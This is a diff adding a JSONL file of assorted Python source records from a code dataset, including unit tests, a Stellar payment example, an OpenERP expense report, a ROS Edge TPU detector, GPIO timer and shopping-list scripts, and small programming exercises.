diff --git "a/1545.jsonl" "b/1545.jsonl" new file mode 100644--- /dev/null +++ "b/1545.jsonl" @@ -0,0 +1,297 @@ +{"seq_id":"509940146","text":"import nose.tools as n\nfrom point import Point\nfrom point import Triangle\n\n\ndef get_message(expected, actual):\n message = 'Incorrect result. You returned {1} instead of {0}.'\n return message.format(expected, actual)\n\n\ndef test_repr():\n p = Point(6, 2)\n expected = 'Point: 6, 2'\n actual = repr(p)\n n.assert_equal(expected, actual, get_message(expected, actual))\n\n\ndef test_length():\n p = Point(3, 4)\n expected = 5.0\n actual = p.length()\n n.assert_almost_equal(expected, actual, msg=get_message(expected, actual))\n\n\ndef test_eq():\n p1 = Point(6, 2)\n p2 = Point(6, 2)\n p3 = Point(6, 3)\n n.assert_equal(p1, p2, 'expected {0} equal to {1}'.format(p1, p2))\n n.assert_not_equal(p1, p3, 'expected {0} not equal to {1}'.format(p1, p3))\n\n\ndef test_add():\n p1 = Point(2, 5)\n p2 = Point(6, 7)\n actual = p1 + p2\n n.assert_equal(8, actual.x, get_message(8, actual.x))\n n.assert_equal(12, actual.y, get_message(12, actual.y))\n\n\ndef test_sub():\n p1 = Point(2, 5)\n p2 = Point(6, 7)\n actual = p2 - p1\n n.assert_equal(4, actual.x, get_message(4, actual.x))\n n.assert_equal(2, actual.y, get_message(2, actual.y))\n\n\ndef test_mul():\n p1 = Point(2, 5)\n actual = p1 * 3\n n.assert_equal(6, actual.x, get_message(6, actual.x))\n n.assert_equal(15, actual.y, get_message(15, actual.y))\n\n\ndef test_dist():\n p1 = Point(1, 2)\n p2 = Point(4, 6)\n actual = p1.dist(p2)\n expected = 5.0\n n.assert_almost_equal(expected, actual, msg=get_message(expected, actual))\n\n\ndef test_perimiter():\n triangle = Triangle(0, 0, 5, 0, 0, 5)\n actual = triangle.perimiter()\n expected = 17.071067811865476\n n.assert_almost_equal(expected, actual, msg=get_message(expected, actual))\n\n\ndef test_area():\n triangle = Triangle(0, 0, 5, 0, 0, 5)\n actual = triangle.area()\n expected = 12.5\n n.assert_almost_equal(expected, actual, msg=get_message(expected, actual))\n","sub_path":"day3/src/test_point.py","file_name":"test_point.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"172295920","text":"import scipy.io\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nplt.rcParams['text.latex.preamble']=[r\"\\usepackage{lmodern}\"]\n#Options\nparams = {'text.usetex' : True,\n 'font.size' : 11,\n 'font.family' : 'lmodern',\n 'text.latex.unicode': True,\n }\nplt.rcParams.update(params) \n\n\nmat = scipy.io.loadmat('data.mat')\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.set_xlabel('X')\nax.set_ylabel('Y')\nax.set_zlabel('Z')\nfor i in range(72, mat['Dataset'].shape[1]):# - 72):\n p = mat['Dataset'][0][i][7]\n ax.scatter(p[:,0], p[:,1], p[:,2], 'r')\nplt.show()\n","sub_path":"im_plot/plotter3d.py","file_name":"plotter3d.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"180290424","text":"from openerp.osv import osv\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\nfrom datetime import datetime\nimport time\nfrom openerp import pooler\nfrom openerp.addons.jasper_reports import report_jasper\n\nclass expense_daily_rep(osv.osv):\n _name = \"expense.daily.rep.table\" \n _description = 'Expense Daily Report Table' \n _columns = {\n \"month\":fields.char(\"Month\"),\n \"date\":fields.date(\"Date\"),\n \"business_category\":fields.char(\"Business Category\"),\n \"prj_id\":fields.char(\"Prj ID\"),\n \"project_name\":fields.char(\"Project Name\"), \n \"expense_category\":fields.char(\"Expense Category\"),\n \"sublabel\":fields.char(\"Sublabel\"),\n \"description\":fields.char(\"Description\"),\n \"amount\":fields.float(\"Amount\"),\n \"sr_no\":fields.char(\"Sr No\"),\n \"vendor_name\":fields.char(\"Vendor Name\"),\n \"paid_by\":fields.char(\"Paid by\"),\n \"currency_name\":fields.char(\"Currency Name\"),\n \"amount_currency\":fields.float(\"Amount Currency\"),\n \"amount\":fields.float(\"Amount\"),\n \"amount_kyat\":fields.float(\"Amount Kyats\"),\n \"amount_usd\":fields.float(\"Amount USD\"),\n }\n \nexpense_daily_rep()\n\n\ndef parse(cr, uid, ids, data, context):\n records = []\n pool = pooler.get_pool(cr.dbname)\n date_start = data['form'].get('date_start',False)\n date_end = data['form'].get('date_end',False)\n cmpy_id = pool.get('res.users').browse(cr,uid,uid,context).company_id.id\n \n #get output type\n output_type = data['form'].get('output_type') \n if output_type==1:\n output = 'pdf'\n else:\n output = 'xls'\t \n jas = pool.get('ir.actions.report.xml').search(cr,uid,[('report_name','=','expense_daily_report')])\t\n pool.get('ir.actions.report.xml').write(cr,uid,jas[0],{'jasper_output':output},context=context)\n \n business_category_id = data['form'].get('business_category_id',False)\n expense_category_id = data['form'].get('expense_category_id',False)\n project_id = data['form'].get('project_id',False)\n \n business_cond = expense_cond = project_cond = \"\"\n \n if business_category_id:\n business_cond = \" AND fbc.id=\"+str(business_category_id[0])\n \n if expense_category_id:\n expense_cond = \" AND aaa.id = \"+str(expense_category_id[0])\n \n if project_id:\n project_cond = \" AND fpn.id = \"+str(project_id[0])\n \n SQL = \"\"\"SELECT fhel.date,fbc.name,fpn.prj_id,fpn.name,aaa.name,acc.name,fhel.particular,fhel.amount,\n fhe.name,fhel.vendor_name,rp.name,fhe.cur_id \n FROM frontiir_hr_expense fhe LEFT JOIN frontiir_hr_expense_lines fhel \n ON (fhe.id=fhel.hr_expense_id) LEFT JOIN frontiir_business_category fbc ON (fbc.id=fhel.business_category_id)\n LEFT JOIN account_analytic_account aaa ON (aaa.id=fhel.expense_category_id)\n LEFT JOIN account_account acc ON (acc.id=fhel.expense_sublabel_id)\n LEFT JOIN frontiir_project_name fpn ON (fpn.id=fhel.project_name_id)\n LEFT JOIN res_users rs ON (rs.id = fhe.received_uid) \n LEFT JOIN res_partner rp ON (rp.id = rs.partner_id) WHERE fhe.paid_date BETWEEN %s AND %s \n AND (fhel.state='paid' or fhel.state='post' or fhel.state='done')\"\"\"+business_cond+expense_cond+project_cond\n \n cr.execute(SQL,(date_start,date_end,))\n result = cr.fetchall()\n if result:\n for res in result:\n currency_name = ''\n amount_currency = amount = 0.00\n if cmpy_id != res[11]:\n currency_name = pool.get('res.currency').browse(cr,uid,res[11],context).name\n amount_currency = res[7]\n amount = pool.get('res.currency').compute(cr,uid, res[11], cmpy_id,res[7],round=False,context=context)\n else:\n currency_name = pool.get('res.currency').browse(cr,uid,cmpy_id,context).name\n amount_currency = amount = res[7]\n records.append({\n \"month\":res[0] and datetime.strptime(res[0],'%Y-%m-%d').strftime('%B') or '',\n \"date\":res[0] and datetime.strptime(res[0], \"%Y-%m-%d\").strftime(\"%d-%m-%Y\") or '',\n \"business_category\":res[1] or \"\",\n \"prj_id\":res[2] or \"\",\n \"project_name\":res[3] or \"\", \n \"expense_category\":res[4] or \"\",\n \"sublabel\":res[5] or \"\",\n \"description\":res[6] or \"\",\n \"amount\":amount or 0.00,\n \"amount_currency\":amount_currency or 0.00,\n \"currency_name\":currency_name or '',\n \"sr_no\":res[8] or \"\",\n \"vendor_name\":res[9] or \"\",\n \"paid_by\":res[10] or \"\",\n \"amount_kyat\":'mmk' in currency_name.lower() and amount_currency or 0.00,\n \"amount_usd\":'usd' in currency_name.lower() and amount_currency or 0.00,\n })\n \n return {\n 'data_source':'records',\n 'records': records,\n 'parameters':{\n 'date_start':date_start and datetime.strptime(date_start,\"%Y-%m-%d\").strftime(\"%d-%m-%Y\") or \"\",\n 'date_end':date_start and datetime.strptime(date_end,\"%Y-%m-%d\").strftime(\"%d-%m-%Y\") or \"\",\n },\n } \n\nreport_jasper('report.expense_daily_report', 'expense.daily.rep.table',parse)\n","sub_path":"hr_internal/report/expense_daily_report.py","file_name":"expense_daily_report.py","file_ext":"py","file_size_in_byte":5377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"87337089","text":"class Solution(object):\n def getHint(self, secret, guess):\n \"\"\"\n :type secret: str\n :type guess: str\n :rtype: str\n \"\"\"\n n=len(secret)\n dictS=[0]*10\n dictG=[0]*10\n A, B=0, 0\n for i in xrange(n):\n if secret[i]==guess[i]:\n A+=1\n else:\n dictS[int(secret[i])]+=1\n dictG[int(guess[i])]+=1\n for i in xrange(10):\n B+=min(dictS[i], dictG[i])\n return str(A)+'A'+str(B)+'B'\n \n ","sub_path":"299-Bulls-and-Cows/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"318942373","text":"#!/usr/bin/env python\n\n# Gary is an avid hiker. He tracks his hikes meticulously, paying close\n# attention to small details like topography. During his last hike he took\n# exactly steps. For every step he took, he noted if it was an uphill, ,\n# or a downhill, step. Gary's hikes start and end at sea level and each\n# step up or down represents a unit change in altitude. We define the\n# following terms:\n\n# A mountain is a sequence of consecutive steps above sea level,\n# starting with a step up from sea level and ending with a step down to\n# sea level.\n# A valley is a sequence of consecutive steps below sea level,\n# starting with a step down from sea level and ending with a step up to\n# sea level.\n# Given Gary's sequence of up and down steps during his last hike,\n# find and print the number of valleys he walked through.\n\n# For example, if Gary's path is , he first enters a valley units deep.\n# Then he climbs out an up onto a mountain units high. Finally, he returns to\n# sea level and ends his hike.\n\n\ndef countingValleys(s):\n valleys = 0\n steps = [x for x in s]\n elevation = 0\n while steps:\n if steps[0] == 'D':\n if elevation == 0:\n valleys += 1\n elevation -= 1\n elif steps[0] == 'U':\n elevation += 1\n steps.pop(0)\n return valleys\n\n\ndef main():\n s = 'DDUUDDUDUUUD'\n print(countingValleys(s))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"ariana_prep/HR_counting_valleys.py","file_name":"HR_counting_valleys.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"45024744","text":"# Copyright (c) 2014 Prashanth Raghu.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Redis storage driver configuration options.\"\"\"\n\nfrom oslo.config import cfg\n\n\nREDIS_OPTIONS = (\n cfg.StrOpt('uri', default=\"redis://127.0.0.1:6379\",\n help=('Redis Server URI. Can also use a '\n 'socket file based connector. '\n 'Ex: redis:/tmp/redis.sock')),\n\n cfg.IntOpt('max_reconnect_attempts', default=10,\n help=('Maximum number of times to retry an operation that '\n 'failed due to a redis node failover.')),\n\n cfg.FloatOpt('reconnect_sleep', default=1.0,\n help=('Base sleep interval between attempts to reconnect '\n 'after a redis node failover. '))\n\n)\n\nREDIS_GROUP = 'drivers:storage:redis'\n\n\ndef _config_options():\n return [(REDIS_GROUP, REDIS_OPTIONS)]\n","sub_path":"zaqar/queues/storage/redis/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"243563034","text":"## P5.8 Scramble the words in a message\n\nfrom random import randint\n\n## Scrambles two random letters on the inside of a word\n# @param word is a string\n# @return the scrambled word as newWord\ndef scramble(word):\n newWord = \"\"\n\n if len(word) >= 4:\n\n # Choose 2 random characters to swap\n position1 = randint(1, len(word) - 3)\n position2 = randint(1, len(word) - 3)\n while position1 == position2:\n position2 = randint(1, len(word) - 2)\n\n # Build newWord\n newWord = newWord + word[0]\n for i in range(1, len(word) - 1):\n if i != position1 and i != position2:\n newWord = newWord + word[i]\n elif i == position1:\n newWord = newWord + word[position2]\n elif i == position2:\n newWord = newWord + word[position1]\n newWord = newWord + word[len(word) - 1]\n\n else: newWord = word\n\n return(newWord)\n\n# Given two positions i and j in string, build a word where the first letter\n# is at i and the last letter is at j\n# @param pos1 and pos2 are the initial and ending positions of the word\n# @return the isolated word\ndef buildWord(pos1, pos2, string):\n word = \"\"\n if pos2 - pos1 == 0:\n word = string[pos1]\n else:\n word = word + string[pos1]\n for k in range(pos1 + 1, pos2):\n word = word + string[k]\n word = word + string[pos2]\n\n return(word)\n\n## Given a string, flips two random letters in all groups of letters separated\n# by some nonletter (e.g., words separated by spaces and punctuation).\n# @param string is a string\n# @return the same string, with letters flipped as described\n\ndef flipString(string):\n newString = \"\"\n i = 0\n while i < len(string):\n if not string[i].isalpha():\n newString = newString + string[i]\n i = i + 1\n elif string[i].isalpha():\n p1 = i\n j = i + 1\n found = False\n while j < len(string) and not found:\n if not string[j].isalpha():\n found = True\n else: j = j + 1\n p2 = j - 1\n word = buildWord(p1, p2, string)\n scrambledWord = scramble(word)\n newString = newString + scrambledWord\n i = i + (p2 - p1 + 1)\n\n return(newString)\n\n#Prompt user and run flipString until the user quits\nstring = \"\"\nstring = input(\"Please enter a string, or -1 to quit: \")\nwhile string != \"-1\":\n print(flipString(string))\n string = input(\"Please enter a string, or -1 to quit: \")\nprint(\"Goodbye!\")\n","sub_path":"p5.8.py","file_name":"p5.8.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"86747215","text":"from stellar_base.builder import Builder\n\nalice_secret = 'SCB6JIZUC3RDHLRGFRTISOUYATKEE63EP7MCHNZNXQMQGZSLZ5CNRTKK'\nbob_address = 'GA7YNBW5CBTJZ3ZZOWX3ZNBKD6OE7A7IHUQVWMY62W2ZBG2SGZVOOPVH'\n\nbuilder = Builder(secret=alice_secret)\nbuilder.add_text_memo(\"Hello, Stellar!\").append_payment_op(\n destination=bob_address, amount='12.25', asset_code='XLM')\nbuilder.sign()\nresponse = builder.submit()\nprint(response)\n","sub_path":"examples/payment.py","file_name":"payment.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"490472364","text":"#!/usr/bin/env python3\n\nimport roslib\nroslib.load_manifest(\"edge_tpu\")\nimport sys\nimport rospy\nimport cv2\nimport time\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image, CompressedImage\nfrom vision_msgs.msg import Detection2DArray, Detection2D, BoundingBox2D, ObjectHypothesisWithPose\nfrom cv_bridge import CvBridge, CvBridgeError\nimport numpy as np\nimport PIL\n\nimport edgetpu.detection.engine\n\nclass tpu_detector:\n\n def __init__(self, model, threshold=0.5, device_path=None):\n self.bridge = CvBridge()\n rospy.loginfo(\"Loading model {}\".format(model))\n self.image_sub = rospy.Subscriber(\"raspicam_node/image/compressed\", CompressedImage, self.callback)\n self.threshold = threshold\n self.engine = edgetpu.detection.engine.DetectionEngine(model)\n rospy.loginfo(\"Engine loaded\")\n self.detection_pub = rospy.Publisher('edgetpu/detections', Detection2DArray, queue_size=10)\n\n def callback(self,data):\n bridge = CvBridge()\n try:\n cv_image = self.bridge.compressed_imgmsg_to_cv2(data, desired_encoding=\"passthrough\")\n except CvBridgeError as e:\n rospy.logerr(e)\n\n results = self.engine.DetectWithImage(PIL.Image.fromarray(cv_image), top_k=1, threshold=self.threshold, keep_aspect_ratio=True, relative_coord=True)\n \n detections = Detection2DArray()\n now = rospy.get_rostime()\n\n for detection in results:\n \n top_left, bottom_right = detection.bounding_box\n min_x, min_y = top_left\n max_x, max_y = bottom_right\n imheight, imwidth, _ = cv_image.shape\n min_x *= imwidth\n max_x *= imwidth\n min_y *= imheight\n max_y *= imheight\n centre_x = (max_x+min_x)/2.0\n centre_y = (max_y+min_y)/2.0\n height = max_y-min_y\n width = max_x-min_x\n if height <=0 or width <= 0:\n continue\n \n bbox = BoundingBox2D()\n bbox.center.x = centre_x\n bbox.center.y = centre_y\n bbox.size_x = width\n bbox.size_y = height\n \n hypothesis = ObjectHypothesisWithPose()\n# hypothesis.id = str(detection.label_id)\n hypothesis.score = detection.score\n hypothesis.pose.pose.position.x = centre_x\n hypothesis.pose.pose.position.y = centre_y\n \n # update the timestamp of the object\n object = Detection2D()\n object.header.stamp = now\n object.header.frame_id = data.header.frame_id\n object.results.append(hypothesis)\n object.bbox = bbox\n object.source_img.header.frame_id = data.header.frame_id\n object.source_img.header.stamp = now\n object.source_img.height = int(height)\n object.source_img.width = int(width)\n object.source_img.encoding = \"rgb8\"\n object.source_img.step = int(width*3)\n# object.source_img.data = cv_image[int(min_y):int(max_y), int(min_x):int(max_x)].tobytes()\n \n detections.detections.append(object)\n \n if len(results) > 0:\n self.detection_pub.publish(detections)\n \n rospy.logdebug(\"%.2f ms\" % self.engine.get_inference_time())\n\ndef main(args):\n\n rospy.init_node('detect', anonymous=True)\n \n model_path = rospy.get_param('~model_path', default='/data/robot/tpu_models/mobilenet_ssd_v2_face_quant_postprocess_edgetpu.tflite')\n threshold = rospy.get_param('~threshold', default=0.5)\n device_path = rospy.get_param('~device_path', default=None)\n\n detector = tpu_detector(model_path, threshold, device_path)\n\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print(\"Shutting down\")\n\nif __name__ == \"__main__\":\n main(sys.argv)\n\n","sub_path":"edgetpu_ros/scripts/detect_faces.py","file_name":"detect_faces.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"136008702","text":"\"\"\"\nExports results in GMV (TM) ASCII format.\n\nSource:\n http://www.generalmeshviewer.com/doc.color.pdf \n\"\"\"\n\n# Standard Python modules\nfrom pyns.standard import *\n\n# PyNS modules\nfrom pyns.constants import *\nfrom pyns.operators import *\n\n# =============================================================================\ndef gmv(file_name, xyzn, variables):\n# -----------------------------------------------------------------------------\n \"\"\"\n Args:\n file_name: String containing name of the file to be created.\n xyzn: Tuple containing one-dimensional arrays with \"x\", \"y\"\n and \"z\" coordinates.\n variables: Tuple containing unknowns to be exported to GMV (TM).\n Individual variables can be either collocated or staggered.\n\n Returns:\n none!\n \"\"\"\n\n # Unpack tuples\n xn, yn, zn = xyzn\n\n # Compute cell resolutions (remember: cell resolutions)\n nx = len(xn)-1\n ny = len(yn)-1\n nz = len(zn)-1\n\n file_id = open(file_name, 'w')\n\n # --------------------------\n # Write the file header out\n # --------------------------\n file_id.write(\"gmvinput ascii\\n\")\n\n # -------------------------------------------------------------------\n # Write the coordinates out (remember - those are nodal coordinates)\n # -------------------------------------------------------------------\n file_id.write(\"nodev %d\\n\" % ((nx+1)*(ny+1)*(nz+1)))\n for k in range(0, nz+1):\n for j in range(0, ny+1):\n for i in range(0, nx+1):\n file_id.write(\"%12.5e %12.5e %12.5e\\n\" % (xn[i], yn[j], zn[k]))\n\n # --------------------\n # Write the cells out \n # --------------------\n # file_id.write(\"cells %d\\n\" % (nx * ny * nz))\n file_id.write(\"cells %d\\n\" % (nx*ny*nz))\n \n # cells' local numbering\n # \n # ^ z\n # | \n # | n011-------n111 \n # | /| /| \n # |/ | / | \n # n001-------n101| \n # | | | | \n # | | / y | | \n # | |/ | | \n # | n010-----|-n110 \n # | / | / \n # |/ |/ \n # n000-------n100 ----> \n # x \n for k in range(0, nz):\n for j in range(0, ny):\n for i in range(0, nx):\n n000 = 1 + i + j * (nx+1) + k * ((nx+1)*(ny+1))\n n100 = n000 + 1\n n010 = n000 + (nx+1)\n n110 = n000 + (nx+1) + 1\n n001 = n000 + (nx+1)*(ny+1)\n n101 = n001 + 1\n n011 = n001 + (nx+1)\n n111 = n001 + (nx+1) + 1\n\n file_id.write(\" hex 8\\n\")\n file_id.write(\" %d %d %d %d %d %d %d %d\\n\" \\\n % (n000,n100,n110,n010, n001,n101,n111,n011))\n\n # ------------------------\n # Write the variables out\n # ------------------------\n file_id.write(\"variables\\n\")\n\n # Average values to be written for staggered variables\n for v in variables:\n if v.pos == C:\n val = v.val\n elif v.pos == X:\n val = avg_x(cat_x((v.bnd[W].val[:1,:,:], \\\n v.val, \\\n v.bnd[E].val[:1,:,:])))\n elif v.pos == Y:\n val = avg_y(cat_y((v.bnd[S].val[:,:1,:], \\\n v.val, \\\n v.bnd[N].val[:,:1,:])))\n elif v.pos == Z:\n val = avg_z(cat_z((v.bnd[B].val[:,:,:1], \\\n v.val, \\\n v.bnd[T].val[:,:,:1])))\n\n file_id.write(\"%s 0\\n\" % v.name)\n c = 0\n for k in range(0, nz):\n for j in range(0, ny):\n for i in range(0, nx):\n file_id.write(\"%12.5e\\n\" % val[i,j,k])\n\n file_id.write(\"endvars\\n\")\n\n # --------------------------\n # Write the file footer out\n # --------------------------\n file_id.write(\"endgmv\\n\")\n \n file_id.close()\n\n return # end of function","sub_path":"pyns/display/plot/gmv.py","file_name":"gmv.py","file_ext":"py","file_size_in_byte":4114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"236303915","text":"import itertools\n\ndef conv_func(nums, ops):\n res_nums, res_ops = [nums[0]], []\n for i, op in enumerate(ops):\n if op:\n res_nums.append(nums[i + 1])\n res_ops.append(op)\n else:\n res_nums[-1] = res_nums[-1] * 10 + nums[i + 1]\n return res_nums, res_ops\n\ndef find_expression():\n nums = (9, 8, 7, 6, 5, 4, 3, 2, 1, 0)\n results = []\n for ops in itertools.product([\"+\", \"-\", \"\"], repeat=9):\n conv_nums, conv_ops = conv_func(nums, ops)\n result = conv_nums[0]\n for num, op in zip(conv_nums[1:], conv_ops):\n if op == \"+\":\n result += num\n else:\n result -= num\n if result == 200:\n result_str = str(conv_nums[0])\n for num, op in zip(conv_nums[1:], conv_ops):\n result_str += str(op) + str(num)\n results.append(result_str)\n return results\n\nprint(find_expression())","sub_path":"find_expression.py","file_name":"find_expression.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"367467572","text":"# 3. 从凌晨 0:0:0 计时,到现在已经过了63320秒\n# 请问现在是几时几分几秒? 写程序打印出来\n# 提示:可以用地板除和求余来实现\n\ndef time():\n while True:\n import time\n t = time.localtime()\n # print(t)\n print('%02d:%02d:%02d'%t[3:6],end='\\r')\n time.sleep(1)\n\n\n\ntime()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# s = 63320 # 秒\n\n# hour = s // 60 // 60 # 小时\n# minute = s % 3600 // 60 # 分钟\n# second = s % 60 # 秒\n\n# print(hour, \":\", minute, \":\", second)\n","sub_path":"aid1807正式班老师课件/python基础/day02/day01_exercise/time1.py","file_name":"time1.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"133725426","text":"from tkinter import*\nimport time\nimport RPi.GPIO as GPIO\n\nroot= Tk()\nroot.title('GPIO')\n \nGPIO.setmode(GPIO.BCM)\ndevice = 17\nGPIO.setup(device,GPIO.OUT)\ntimeStart = []\ntimeEnd = []\ndefaultTimeStart1 = StringVar(root,value='08 : 00 : 00')\ndefaultTimeEnd1 = StringVar(root,value='08 : 10 : 00')\ndefaultTimeStart2 = StringVar(root,value='10 : 00 : 00')\ndefaultTimeEnd2 = StringVar(root,value='10 : 10 : 00')\ndefaultTimeStart3 = StringVar(root,value='12 : 00 : 00')\ndefaultTimeEnd3 = StringVar(root,value='12 : 10 : 00')\ndefaultTimeStart4 = StringVar(root,value='14 : 00 : 00')\ndefaultTimeEnd4 = StringVar(root,value='14 : 10 : 00')\ndefaultTimeStart5 = StringVar(root,value='16 : 00 : 00')\ndefaultTimeEnd5 = StringVar(root,value='16 : 10 : 00')\ndefaultTimeStart6 = StringVar(root,value='18 : 00 : 00')\ndefaultTimeEnd6 = StringVar(root,value='18 : 10 : 00')\ndefaultTimeStart7 = StringVar(root,value='00 : 00 : 00')\ndefaultTimeEnd7 = StringVar(root,value='0 : 00 : 00')\ndefaultTimeStart8 = StringVar(root,value='00 : 00 : 00')\ndefaultTimeEnd8 = StringVar(root,value='00 : 00 : 00')\n\ndef TurnOn():\n GPIO.output(device,True)\n deviceStatusDisplay.config(text='ON',fg='green')\n \ndef TurnOff():\n GPIO.output(device,False)\n deviceStatusDisplay.config(text='OFF',fg='red')\n \n\n\ndef TimeSave():\n global timeStart, timeEnd\n timeStart = []\n timeEnd = []\n timeStart.extend([time1Start.get(),time2Start.get(),time3Start.get(),time4Start.get(),time5Start.get(),time6Start.get(),time7Start.get(),time8Start.get()])\n timeEnd.extend([time1End.get(),time2End.get(),time3End.get(),time4End.get(),time5End.get(),time6End.get(),time7End.get(),time8End.get()])\n \ndef Tick():\n global timeStart, timeEnd\n timeNow = time.strftime('%H : %M : %S')\n for timeCheck in timeStart:\n if timeNow == timeCheck:\n TurnOn() \n for timeCheck in timeEnd:\n if timeNow == timeCheck:\n TurnOff()\n clockDisplay.config(text=timeNow)\n clockDisplay.after(1000, Tick)\n \ntimeStartLabel = Label(root,text='Start Array').grid(row=0,column=0)\ntimeEndLabel = Label(root,text='End Array').grid(row=0,column=1)\n\ntime1Start = Entry(root,textvariable=defaultTimeStart1)\ntime1Start.grid(row=1,column=0)\ntime1End = Entry(root,textvariable=defaultTimeEnd1)\ntime1End.grid(row=1,column=1)\n\ntime2Start = Entry(root,textvariable=defaultTimeStart2)\ntime2Start.grid(row=2,column=0)\ntime2End = Entry(root,textvariable=defaultTimeEnd2)\ntime2End.grid(row=2,column=1)\n\ntime3Start = Entry(root,textvariable=defaultTimeStart3)\ntime3Start.grid(row=3,column=0)\ntime3End = Entry(root,textvariable=defaultTimeEnd3)\ntime3End.grid(row=3,column=1)\n\ntime4Start = Entry(root,textvariable=defaultTimeStart4)\ntime4Start.grid(row=4,column=0)\ntime4End = Entry(root,textvariable=defaultTimeEnd4)\ntime4End.grid(row=4,column=1)\n\ntime5Start = Entry(root,textvariable=defaultTimeStart5)\ntime5Start.grid(row=5,column=0)\ntime5End = Entry(root,textvariable=defaultTimeEnd5)\ntime5End.grid(row=5,column=1)\n\ntime6Start = Entry(root,textvariable=defaultTimeStart6)\ntime6Start.grid(row=6,column=0)\ntime6End = Entry(root,textvariable=defaultTimeEnd6)\ntime6End.grid(row=6,column=1)\n\ntime7Start = Entry(root,textvariable=defaultTimeStart7)\ntime7Start.grid(row=7,column=0)\ntime7End = Entry(root,textvariable=defaultTimeEnd7)\ntime7End.grid(row=7,column=1)\n\ntime8Start = Entry(root,textvariable=defaultTimeStart8)\ntime8Start.grid(row=8,column=0)\ntime8End = Entry(root,textvariable=defaultTimeEnd8)\ntime8End.grid(row=8,column=1)\n\nbuttonSave = Button(root,text='Save',command=TimeSave).grid(row=9,column=0,columnspan=2)\n \nclockDisplay = Label(root, font=('times', 12, 'bold'), bg='white')\nclockDisplay.grid(row=10,column=0,columnspan =2)\n\nbuttonStart=Button(root,text='Start',command=TurnOn).grid(row=11,column=0)\nbuttonStop=Button(root,text='Stop',command=TurnOff).grid(row=11,column=1)\n\ndeviceStatus = Label(root, text='Status').grid(row=12,column=0)\ndeviceStatusDisplay = Label(root,font=('times', 12, 'bold'))\ndeviceStatusDisplay.config(text='OFF',fg='red')\ndeviceStatusDisplay.grid(row=12,column=1)\n\nTick()\n\nif __name__ == '__main__':\n root.mainloop()","sub_path":"GPIO1.py","file_name":"GPIO1.py","file_ext":"py","file_size_in_byte":4154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"200400537","text":"# Original code by fahbabur, Edited by Jordan Leich on 6/12/2020, email me at jordanleich@gmail.com to create and\r\n# code together.\r\n\r\n\r\nshopping_list = []\r\nlist_price = []\r\n\r\n\r\ndef restart():\r\n print()\r\n user_choice = str(input(\"Do you want to make another shopping list (yes | no): \"))\r\n print()\r\n\r\n if user_choice == 'yes' or user_choice == 'Yes' or user_choice == 'y':\r\n print('Restarting Shopping List...')\r\n print()\r\n main()\r\n\r\n else:\r\n print('Thanks for using our Shopping List!')\r\n print()\r\n quit()\r\n\r\n\r\ndef show_help():\r\n print()\r\n print(\"To see your list: (Show) \")\r\n print()\r\n print(\"If you are done with your list: (Done) \")\r\n print()\r\n print(\"If you need help (Help) \")\r\n print()\r\n\r\n\r\ndef add_item(new_item, item_price):\r\n shopping_list.append(new_item)\r\n list_price.append(item_price)\r\n print(new_item,\r\n \"was added to your list and you now have {} items in your shopping list.\".format(len(shopping_list)))\r\n print()\r\n\r\n\r\ndef show_list():\r\n for items in shopping_list:\r\n print(\"> \", items)\r\n\r\n print('Grand Total:', sum(list_price))\r\n restart()\r\n\r\n\r\nshow_help()\r\n\r\n\r\ndef main():\r\n while True:\r\n new_item = input(\"Item name: \")\r\n print()\r\n item_price = float(input('Price: '))\r\n print()\r\n if new_item == \"done\" or new_item == 'Done' or new_item == 'd':\r\n show_list()\r\n break\r\n\r\n elif new_item == \"show\" or new_item == 'Show' or new_item == 's':\r\n print(\"Current list: \")\r\n show_list()\r\n continue\r\n\r\n elif new_item == \"help\" or new_item == 'Help' or new_item == 'h':\r\n show_help()\r\n continue\r\n\r\n elif new_item == '' and item_price == '':\r\n continue\r\n\r\n add_item(new_item, item_price)\r\n\r\n\r\nmain()\r\n\r\nprint(\"Here is your final shopping list\")\r\nprint()\r\n\r\nshow_list()\r\n\r\nprint()\r\n","sub_path":"Shopping List.py","file_name":"Shopping 